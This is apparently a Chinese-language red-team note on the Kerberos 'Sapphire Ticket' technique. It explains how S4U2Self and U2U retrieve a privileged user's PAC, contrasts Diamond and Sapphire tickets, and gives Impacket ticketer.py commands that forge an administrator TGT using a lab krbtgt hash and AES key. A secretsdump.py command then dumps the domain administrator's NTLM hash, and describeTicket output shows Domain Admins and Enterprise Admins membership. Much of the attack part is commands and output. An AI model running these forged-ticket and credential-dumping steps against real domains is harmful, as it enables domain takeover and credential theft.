Sapphire Ticket可以模拟任何用户的 TGT,是在TGS期间通过S4U2self+U2U交换请求目标用户的PAC来实现的,后面组装真正的 TGT 和真正的 PAC。
U2U + S4U
Sapphire Tickets 技术基于 S4U2Self + U2U 。使用 U2U 可以在没有 SPN 的情况下请求 S4U2Self。S4U2Self是S4U协议扩展中的消息之一。S4U2Self 允许代表另一个用户向其自身获取票证。想象一个启用了 Kerberos 约束委派的服务,但用户使用 NTLM 对其进行身份验证。该服务无法将用户委托给其他服务,因为它没有用户的 ST。在这种情况下,服务会向 KDC 发送 KRB_TGS_REQ,请求该用户向其自身提供 ST。因此,该服务现在拥有一个包含用户身份验证信息的 ST。
服务可以使用S4U2self将票证检索到自身,允许服务代表用户向自身获取Kerberos服务票据,包含用户的组,因此可用来授权,且S4U2self扩展可用于获取PAC,以确定用户是否对服务具有访问权限。
利用流程
1.向KDC申请任意已知账号密码的用户A的TGT票据。
2.通过 S4U2Self+U2U,向KDC请求高权限B用户对我们当前用户A的ST票据,就好像这个高权限用户已经通过了我们的身份验证一样。
3.因为通过u2u认证,所以这个ST是由 Kerberos 密钥A加密的,我们有A用户的凭证,所以我们可以解密ST。
4.该 ST 具有B用户的 PAC,使用krbtgt Kerberos 密钥对该PAC进行解密。
5.用上一步获得的管理员PAC,修改第一步当中 TGT 的 PAC,并使用krbtgt Kerberos 密钥对其进行重新加密和重新签名,相当于得到了B用户的高权限TGT。
钻石/蓝宝石票据
钻石票据只是一张黄金票据,并试图通过以下方式更加隐蔽:
- 通过AS-REQ 请求用户的 TGT
- 使用 krbtgt 哈希解密TGT
- 设置伪造 PAC 的属性以镜像有效 TGT 中的属性
- 使用 krbtgt 哈希加密伪造的票据
蓝宝石票与钻石票类似,它检索真实的 TGT,并将数据从 PAC 复制到伪造的票上。但是,不使用在初始身份验证中检索到的票证,而是执行一个附加步骤来检索另一个(可能是高权限)用户的 PAC:
- 向 KDC 进行身份验证
- 使用 S4U2Self 和 U2U 扩展为高权限用户请求 TGS(这反映了真实用户的 PAC 的样子,但票证在高权限上下文中不可用)
- 解密此信息
- 设置伪造 PAC 的属性以镜像有效 TGT 中的属性
- 使用 krbtgt 哈希加密伪造的票据
Usage
python3 ticketer.py -request -impersonate 'domainadmin' -domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' -nthash 'krbtgt hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
python3 ticketer.py -request -impersonate 'administrator' -domain 'test.local' -user 'test' -password 'Qq123456..' -nthash 'bf122b2f9b49a18fc2f4d6810956d3f0' -aesKey 'b6ae3aa004fe5e6f47b90899c95770845b326a7f55ddb24570113bc5f643bdda' -domain-sid 'S-1-5-21-4104917814-2564499157-3528963987' 'faketicket'
export KRB5CCNAME=faketicket.ccache
python3 secretsdump.py dc1.test.local -k -no-pass -just-dc-ntlm -just-dc-user administrator
认证流程
AS-REP
TGS-REQ
TGS-REP
describeTicket
python3 describeTicket.py faketicket.ccache --aes b6ae3aa004fe5e6f47b90899c95770845b326a7f55ddb24570113bc5f643bdda
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 66435348656d6f4648497a6f7a4e5a754a507652416d4f6c6b4c774750586874
[*] User Name : administrator
[*] User Realm : TEST.LOCAL
[*] Service Name : krbtgt/TEST.LOCAL
[*] Service Realm : TEST.LOCAL
[*] Start Time : 24/02/2024 11:27:31 AM
[*] End Time : 24/02/2024 21:27:26 PM
[*] RenewTill : 25/02/2024 11:27:21 AM
[*] Flags : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : ZkNTSGVtb0ZISXpvek5adUpQdlJBbU9sa0x3R1BYaHQ=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/TEST.LOCAL
[*] Service Realm : TEST.LOCAL
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[*] Decoding credential[0]['ticket']['enc-part']:
[*] LoginInfo
[*] Logon Time : 23/02/2024 15:12:11 PM
[*] Logoff Time : Infinity (absolute time)
[*] Kickoff Time : Infinity (absolute time)
[*] Password Last Set : 20/02/2024 02:36:15 AM
[*] Password Can Change : 21/02/2024 02:36:15 AM
[*] Password Must Change : 02/04/2024 02:36:15 AM
[*] LastSuccessfulILogon : Infinity (absolute time)
[*] LastFailedILogon : Infinity (absolute time)
[*] FailedILogonCount : 0
[*] Account Name : Administrator
[*] Full Name :
[*] Logon Script :
[*] Profile Path :
[*] Home Dir :
[*] Dir Drive :
[*] Logon Count : 51
[*] Bad Password Count : 0
[*] User RID : 500
[*] Group RID : 513
[*] Group Count : 5
[*] Groups : 512, 513, 520, 519, 518
[*] Groups (decoded) : (512) Domain Admins
[*] (513) Domain Users
[*] (520) Group Policy Creator Owners
[*] (519) Enterprise Admins
[*] (518) Schema Admins
[*] User Flags : (544) LOGON_EXTRA_SIDS, LOGON_RESOURCE_GROUPS
[*] User Session Key : 00000000000000000000000000000000
[*] Logon Server : DC1
[*] Logon Domain Name : TEST
[*] Logon Domain SID : S-1-5-21-4104917814-2564499157-3528963987
[*] User Account Control : (16) USER_NORMAL_ACCOUNT
[*] Extra SID Count : 1
[*] Extra SIDs : S-1-18-2 Service asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*] Resource Group Domain SID : S-1-5-21-4104917814-2564499157-3528963987
[*] Resource Group Count : 1
[*] Resource Group Ids : 572
[*] LMKey : 0000000000000000
[*] SubAuthStatus : 0
[*] Reserved3 : 0
[*] ClientName
[*] Client Id : 24/02/2024 03:27:26 AM
[*] Client Name : administrator
[*] UpnDns
[*] Flags : (1) U_UsernameOnly
[*] UPN : Administrator@test.local
[*] DNS Domain Name : TEST.LOCAL
[*] Attributes Info
[*] Flags : (1) PAC_WAS_REQUESTED
[*] Requestor Info
[*] UserSid : S-1-5-21-4104917814-2564499157-3528963987-500
[*] ServerChecksum
[*] Signature Type : hmac_sha1_96_aes256
[*] Signature : 8336eafdbbb2e3f2345d3bab
[*] KDCChecksum
[*] Signature Type : hmac_md5
[*] Signature : 2659785e134736677c373c4bcfbb67ad
参考
https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/
https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/
https://twitter.com/snovvcrash/status/1576640688116334592
https://github.com/fortra/impacket/pull/1411
https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/
History
- Created 2024-10-21 00:26
- Published 2023-08-14 16:47
- Updated 2024-11-10 14:36